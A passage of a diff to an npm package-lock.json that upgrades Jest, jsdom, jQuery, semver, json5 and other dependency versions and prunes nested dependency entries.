"sha512-OuYGp+lsh7RhB3DDX36z/pzrGm2F740e5ERG9PQpJyDknCRtWdhaehBQyMqDnsQdKkvC2zOcetcxskiHjO7e8Q==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz", + "integrity": "sha512-Rm0BMWtxBcioHr1/OX5YCP8Uov4riHvKPknOGs804Zg9JGZgmIBkbtlxJC/7Z4msKYVbIJtfU+tKb8xlYNfdkw==", "dev": true, "requires": { "@babel/core": "^7.11.6", "@babel/generator": "^7.7.2", "@babel/plugin-syntax-jsx": "^7.7.2", "@babel/plugin-syntax-typescript": "^7.7.2", - "@babel/traverse": "^7.7.2", "@babel/types": "^7.3.3", - "@jest/expect-utils": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/babel__traverse": "^7.0.6", - "@types/prettier": "^2.1.5", + "@jest/expect-utils": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", "babel-preset-current-node-syntax": "^1.0.0", "chalk": "^4.0.0", - "expect": "^29.0.1", + "expect": "^29.7.0", "graceful-fs": "^4.2.9", - "jest-diff": "^29.0.1", - "jest-get-type": "^29.0.0", - "jest-haste-map": "^29.0.1", - "jest-matcher-utils": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1", + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", "natural-compare": "^1.4.0", - "pretty-format": "^29.0.1", - "semver": "^7.3.5" + "pretty-format": "^29.7.0", + "semver": "^7.5.3" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, "semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "requires": { "lru-cache": "^6.0.0" } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } } } }, "jest-util": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.0.1.tgz", - "integrity": "sha512-GIWkgNfkeA9d84rORDHPGGTFBrRD13A38QVSKE0bVrGSnoR1KDn8Kqz+0yI5kezMgbT/7zrWaruWP1Kbghlb2A==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", + "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==", "dev": true, "requires": { - "@jest/types": "^29.0.1", + "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "jest-validate": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.0.1.tgz", - "integrity": "sha512-mS4q7F738YXZFWBPqE+NjHU/gEOs7IBIFQ8i9zq5EO691cLrUbLhFq4larf8/lNcmauRO71tn/+DTW2y+MrLow==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz", + "integrity": "sha512-ZB7wHqaRGVw/9hST/OuFUReG7M8vKeq0/J2egIGLdvjHCmYqGARhzXmtgi+gVeZ5uXFF219aOc3Ls2yLg27tkw==", "dev": true, "requires": { - "@jest/types": "^29.0.1", + "@jest/types": "^29.6.3", "camelcase": "^6.2.0", "chalk": "^4.0.0", - "jest-get-type": "^29.0.0", + "jest-get-type": "^29.6.3", "leven": "^3.1.0", - "pretty-format": "^29.0.1" + "pretty-format": "^29.7.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, "camelcase": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", - "dev": true - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, - "jest-watcher": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.0.1.tgz", - "integrity": "sha512-0LBWDL3sZ+vyHRYxjqm2irhfwhUXHonjLSbd0oDeGq44U1e1uUh3icWNXYF8HO/UEnOoa6+OJDncLUXP2Hdg9A==", - "dev": true, - "requires": { - "@jest/test-result": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "ansi-escapes": "^4.2.1", - "chalk": "^4.0.0", - "emittery": "^0.10.2", - "jest-util": "^29.0.1", - "string-length": "^4.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } } } }, + "jest-watcher": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz", + "integrity": "sha512-49Fg7WXkU3Vl2h6LbLtMQ/HyB6rXSIX7SqvBLQmssRBGN9I0PNvPmAmCWSOY6SOvrjhI/F7/bGAv9RtnsPA03g==", + "dev": true, + "requires": { + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.13.1", + "jest-util": "^29.7.0", + "string-length": "^4.0.1" + } + }, "jest-worker": { "version": "27.5.1", "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", @@ -27790,23 +23560,26 @@ } } }, + "jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true + }, "jquery": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.1.tgz", - "integrity": "sha512-opJeO4nCucVnsjiXOE+/PcCgYw9Gwpvs/a6B1LL/lQhwWwpbVEVYDZ1FokFr8PRc7ghYlrFPuyHuiiDNTQxmcw==" + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.7.1.tgz", + "integrity": "sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==" }, - "js-base64": { - "version": "2.6.4", - "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.6.4.tgz", - "integrity": "sha512-pZe//GGmwJndub7ZghVHz7vjb2LgC1m8B07Au3eYqeqv9emhESByMXxaEgkUkEqJe87oBbSniGYoQNIBklc7IQ==", - "dev": true, - "optional": true, - "peer": true + "jquery-mousewheel": { + "version": "3.1.13", + "resolved": "https://registry.npmjs.org/jquery-mousewheel/-/jquery-mousewheel-3.1.13.tgz", + "integrity": "sha512-GXhSjfOPyDemM005YCEHvzrEALhKDIswtxSHSR2e4K/suHVJKJxxRCGz3skPjNxjJjQa9AVSGGlYjv1M3VLIPg==" }, "js-cookie": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.1.tgz", - "integrity": "sha512-+0rgsUXZu4ncpPxRL+lNEptWMOWl9etvPHc/koSRp6MPwpRYAhmk0dUG00J4bxVV3r9uUzfo24wW0knS07SKSw==" + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.5.tgz", + "integrity": "sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==" }, "js-sha3": { "version": "0.8.0", @@ -27834,79 +23607,43 @@ "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" }, "jsdom": { - "version": "20.0.0", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-20.0.0.tgz", - "integrity": "sha512-x4a6CKCgx00uCmP+QakBDFXwjAJ69IkkIWHmtmjd3wvXPcdOS44hfX2vqkOQrVrq8l9DhNNADZRXaCEWvgXtVA==", - "dev": true, - "requires": { - "abab": "^2.0.6", - "acorn": "^8.7.1", - "acorn-globals": "^6.0.0", - "cssom": "^0.5.0", - "cssstyle": "^2.3.0", - "data-urls": "^3.0.2", - "decimal.js": "^10.3.1", - "domexception": "^4.0.0", - "escodegen": "^2.0.0", - "form-data": "^4.0.0", - "html-encoding-sniffer": "^3.0.0", - "http-proxy-agent": "^5.0.0", - "https-proxy-agent": "^5.0.1", + "version": "26.1.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz", + "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==", + "dev": true, + "requires": { + "cssstyle": "^4.2.1", + "data-urls": "^5.0.0", + "decimal.js": "^10.5.0", + "html-encoding-sniffer": "^4.0.0", + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.6", "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.0", - "parse5": "^7.0.0", + "nwsapi": "^2.2.16", + "parse5": "^7.2.1", + "rrweb-cssom": "^0.8.0", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", - "tough-cookie": "^4.0.0", - "w3c-hr-time": "^1.0.2", - "w3c-xmlserializer": "^3.0.0", + "tough-cookie": "^5.1.1", + "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^7.0.0", - "whatwg-encoding": "^2.0.0", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0", - "ws": "^8.8.0", - "xml-name-validator": "^4.0.0" - }, - "dependencies": { - "@tootallnate/once": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", - "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", - "dev": true - }, - "form-data": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", - "dev": true, - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "mime-types": "^2.1.12" - } - }, - "http-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", - "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", - "dev": true, - "requires": { - "@tootallnate/once": "2", - "agent-base": "6", - "debug": "4" - } - } + "whatwg-encoding": "^3.1.1", + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.1.1", + "ws": "^8.18.0", + "xml-name-validator": "^5.0.0" } }, "jsesc": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", - "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.0.2.tgz", + "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==" }, "json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true }, "json-parse-even-better-errors": { "version": "2.3.1", @@ -27968,17 +23705,9 @@ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "json5": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", - "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==" - }, - "jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", - "requires": { - "graceful-fs": "^4.1.6" - } + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==" }, "jsonify": { "version": "0.0.0", @@ -28007,11 +23736,11 @@ } }, "keyv": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.3.3.tgz", - "integrity": "sha512-AcysI17RvakTh8ir03+a3zJr5r0ovnAH/XTXei/4HIv3bL2K/jzvgivLK9UuI/JbU1aJjM3NSAnVvVVd3n+4DQ==", + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, "requires": { - "compress-brotli": "^1.3.8", "json-buffer": "3.0.1" } }, @@ -28032,12 +23761,6 @@ "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", "dev": true }, - "klona": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", - "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", - "dev": true - }, "level-codec": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/level-codec/-/level-codec-7.0.1.tgz", @@ -28168,9 +23891,9 @@ } }, "lilconfig": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.6.tgz", - "integrity": "sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", "dev": true }, "lines-and-columns": { @@ -28186,9 +23909,9 @@ "dev": true }, "loader-utils": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", - "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", "dev": true, "requires": { "big.js": "^5.2.2", @@ -28197,13 +23920,12 @@ } }, "locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", "dev": true, "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" + "p-locate": "^4.1.0" } }, "lodash": { @@ -28321,11 +24043,6 @@ "js-tokens": "^3.0.0 || ^4.0.0" } }, - "lowercase-keys": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-3.0.0.tgz", - "integrity": "sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==" - }, "lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", @@ -28341,43 +24058,28 @@ "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=" }, "luxon": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.0.3.tgz", - "integrity": "sha512-+EfHWnF+UT7GgTnq5zXg3ldnTKL2zdv7QJgsU5bjjpbH17E3qi/puMhQyJVYuCq+FRkogvB5WB6iVvUr+E4a7w==" + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.1.tgz", + "integrity": "sha512-RkRWjA926cTvz5rAb1BqyWkKbbjzCGchDUIKMCUvNi17j6f6j8uHGDV82Aqcqtzd+icoYpELmG3ksgGiFNNcNg==" }, "make-dir": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", - "dev": true, - "requires": { - "semver": "^6.0.0" - } - }, - "make-fetch-happen": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", - "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", "dev": true, - "optional": true, - "peer": true, "requires": { - "agentkeepalive": "^4.1.3", - "cacache": "^15.2.0", - "http-cache-semantics": "^4.1.0", - "http-proxy-agent": "^4.0.1", - "https-proxy-agent": "^5.0.0", - "is-lambda": "^1.0.1", - "lru-cache": "^6.0.0", - "minipass": "^3.1.3", - "minipass-collect": "^1.0.2", - "minipass-fetch": "^1.3.2", - "minipass-flush": "^1.0.5", - "minipass-pipeline": "^1.2.4", - "negotiator": "^0.6.2", - "promise-retry": "^2.0.1", - "socks-proxy-agent": "^6.0.0", - "ssri": "^8.0.0" + "semver": "^7.5.3" + }, + "dependencies": { + "semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + } } }, "makeerror": { @@ -28389,13 +24091,18 @@ "tmpl": "1.0.5" } }, - "map-obj": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", - "integrity": 